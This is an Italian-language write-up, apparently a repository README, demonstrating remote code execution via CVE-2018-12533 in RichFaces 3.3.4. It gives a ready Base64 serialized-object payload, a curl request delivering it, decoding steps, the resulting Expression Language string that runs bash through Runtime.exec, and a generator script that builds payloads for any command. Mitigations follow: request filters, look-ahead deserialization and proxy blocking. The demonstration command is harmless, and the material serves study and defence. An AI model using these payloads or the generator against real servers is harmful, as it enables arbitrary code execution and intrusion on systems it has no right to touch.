
Dimostra l'esecuzione remota di codice CVE-2018-12533 in RichFaces 3.3.4. Include generazione di payload, analisi della deserializzazione Java e strategie di mitigazione tramite filtri o valvole.
Dettagli della CVE-2018-12533. Altre versioni di RichFaces sono vulnerabili, come si può vedere qui.
export PAYLOAD_BASE64_RICHFACES='eJx1k8-LFEcUx98MuKtZD0YhIQTJOkpmBrarZ2ZdWdksmv2BGZg14oigEoY3NW-7a62u6q16M9PrYm5evHr1llMgAcG!wJsEctk!IR4kh4CE5Bzp7tUlktSlisenvu9Lfev99Acc8w4uWRcJp2S8jZK8cGRG5O4rFjEnWtxAZbizcZO8HTtJF7oJRrSBjKsvD3479c-Pz6ow24Xjg2G0brV1XZgdbFuXIOenmFQUcxdmBlM14vgunJAoY8Khph4cG4yQkeF0bwcnGGo0UfjtcIckr!RgZpDmjXfhe6hkKZSrAgBfAICF1Dv4Mr-WidK1tElqDRkWfUamb6wekevjhNydX56vPnn661YVqj04ITV6fx0T-nffPjtlopUefORxQqNCg-GTklA27JNTqNWD3PlKlubt69Imwo9NYUATe0Fa9ChCubdFHNvRmjIjZaJ33qtQ6UElYfi8UM1C0mEJbmapI--VNSvZ!yrfwuhD-p3ySYDMwWflc5AWH3J4-q8La692uVpwZ95zR8QPjx73!7x78FVO5A7O5V9iZ2i9!y-9bpLq4ZtP!5578fFW3jsPae4BQGWuMnt-v8hj3RqmjEVEvJkxOYP6sNRo5sX1PIZGU2xbl4fRqJWmvHQqZdEvtk0TKUNbaDAiV2sKQ9Ou8YxGUilSAmt7hwq-1hQ0QV2KiTxXcXNsWCWU04fHRlNQRrJxrz5EH9cX6oGsL9TZjmU8H3KShu8nIZiMtSGHQ6UV7wVyQkGn1V4O2p2lxcXAbQfti4vtVtBpdZZa7VYnaLdbF5eW6981a82HAGMHZ-71jpwc!rCfD26!!v3s!rXipQGgymUgAqcsrjlMYyV9Z4Ph1NHVcijSNJt-DVfCiaKpD6U1fqwZb-DIoRVZPqvzVy8vLyy154vJWa2d35eYsoxxjdCIoviwlr0F6sFSwQ__'
curl "http://localhost:8080/myapp/a4j/s/3_3_3.Finalorg.richfaces.renderkit.html.Paint2DResource/DATA/${PAYLOAD_BASE64_RICHFACES}.seam"
Dopo DATA/ e fino a prima di .seam, c'è il payload dell'attacco. È solo una classe Java serializzata, zippata e codificata in Base64. È un Base64 con il formato leggermente modificato da RichFaces per essere compatibile con l'URL.
Questa classe contiene una riga di comando nel formato Expression Language che viene eseguita dall'applicazione, più precisamente da RichFaces, ed è qui che sta il problema, perché un codice arbitrario può essere eseguito sul server.
Il comando codificato nel payload sopra è
touch /tmp/richfaces-vulnerability-cve-2018-12533-rf-14310-20250102-110458(solo a scopo dimostrativo) e lo constateremo tra poco.
git clone [email protected]:mhagnumdw/richfaces-vulnerability-cve-2018-12533-rf-14310.git
cd richfaces-vulnerability-cve-2018-12533-rf-14310
echo "${PAYLOAD_BASE64_RICHFACES}" | \
sed 's/-/+/g' | \
sed 's#!#/#g' | \
sed 's/_/=/g' | \
base64 -d | \
zlib-flate -uncompress > UmaClasse.serialized-class.bin
Converte il payload dal formato Base64 di RichFaces al formato Base64 standard. Decodifica il Base64, che in questo caso è un binario zippato, poi lo decomprime, generando il binario della classe java serializzata.
Qui vedremo il comando malizioso contenuto nel payload.
Il comando seguente mostrerà tutti gli attributi della classe e i rispettivi tipi definiti nella classe. Non mostra i tipi a runtime; se non sai cosa significa, va bene così.
Qui stiamo eseguendo codice Java come se fosse uno script grazie a JBang
chmod +x JavaObjectDeserializer.java
./JavaObjectDeserializer.java UmaClasse.serialized-class.bin
L'output è qualcosa del genere:
Objeto java convertido para JSON:
{
"_width (int)": 111,
"_height (int)": 31,
"_data (java.lang.Object)": null,
"_format (int)": 1,
"_paint (java.lang.Object)": {
"className (java.lang.String)": null,
"savedState (java.io.Serializable)": {
"m (javax.el.MethodExpression)": {
"attr (java.lang.String)": "/views/consultaPadrao.xhtml @98,51 paint=\"#{captchaBean.paint}\"",
"orig (javax.el.MethodExpression)": {
"expectedType (java.lang.Class)": null,
"expr (java.lang.String)": "#{facesContext.getExternalContext().getClass().forName(\"javax.script.ScriptEngineManager\").newInstance().getEngineByName(\"js\").eval(\"java.lang.Runtime.getRuntime().exec(['bash','-c','touch /tmp/richfaces-vulnerability-cve-2018-12533-rf-14310-20250102-110458'])\")}",
"fnMapper (javax.el.FunctionMapper)": null,
"varMapper (javax.el.VariableMapper)": null,
"paramTypes ([Ljava.lang.Class;)": [
"java.awt.Graphics2D",
"java.lang.Object"
]
}
}
}
},
"cacheable (boolean)": false,
"_bgColor (int)": 0
}
Arquivo .class gravado em: org.richfaces.renderkit.html.Paint2DResource$ImageData.class
⚠️ Il punto principale è l'attributo _paint.savedState.m.orig.expr, dove si trova il codice malizioso, che in questo esempio è solo un codice innocuo che crea un file su disco: touch /tmp/richfaces-vulnerability-cve-2018-12533-rf-14310-20250102-110458
chmod +x Generator_Paint2DResourceImageData.java
./Generator_Paint2DResourceImageData.java
# ou
./Generator_Paint2DResourceImageData.java <um comando aqui>
./Generator_Paint2DResourceImageData.java touch /tmp/alguem-esteve-aqui
L'output mostrerà i comandi pronti per essere eseguiti contro un server vulnerabile. Modifica solo l'URL.
Un'opzione meno semplice e più performante è modificare il codice di RichFaces per aggiungere una qualche gestione. Più sotto c'è la stack rilevante.
Un'altra opzione più semplice della precedente è creare un filtro (javax.servlet.Filter) che agisca solo sul path in questione, deserializzando il Base64 presente nel path ed effettuando la dovuta verifica per scoprire se la request può continuare o se deve essere rifiutata. È importante sottolineare che la deserializzazione deve avvenire tramite la classe LookAheadObjectInputStream, come fatto in org.ajax4jsf.resource.ResourceBuilderImpl.getResourceDataForKey(String), per cercare di evitare il più possibile problemi di sicurezza durante la deserializzazione, come ad esempio l'esecuzione di codice malizioso.
Un'opzione è bloccare il path dell'endpoint in qualche proxy che si trova davanti all'applicazione.
Un'altra opzione, che penso valga la pena implementare, ma che non esime dalla prima opzione, è creare un filtro (javax.servlet.Filter) che agisca solo sul path in questione e blocchi l'accesso. Il blocco consiste semplicemente nel rispondere alla richiesta senza lasciare che la catena di filtri prosegua l'esecuzione. Puoi mettere un testo nel body e usare l'http status code 410 (Gone). Ricorda che questo filtro deve essere definito nel web.xml dell'applicazione. Un esempio di questo filtro: PathBlockerFilter.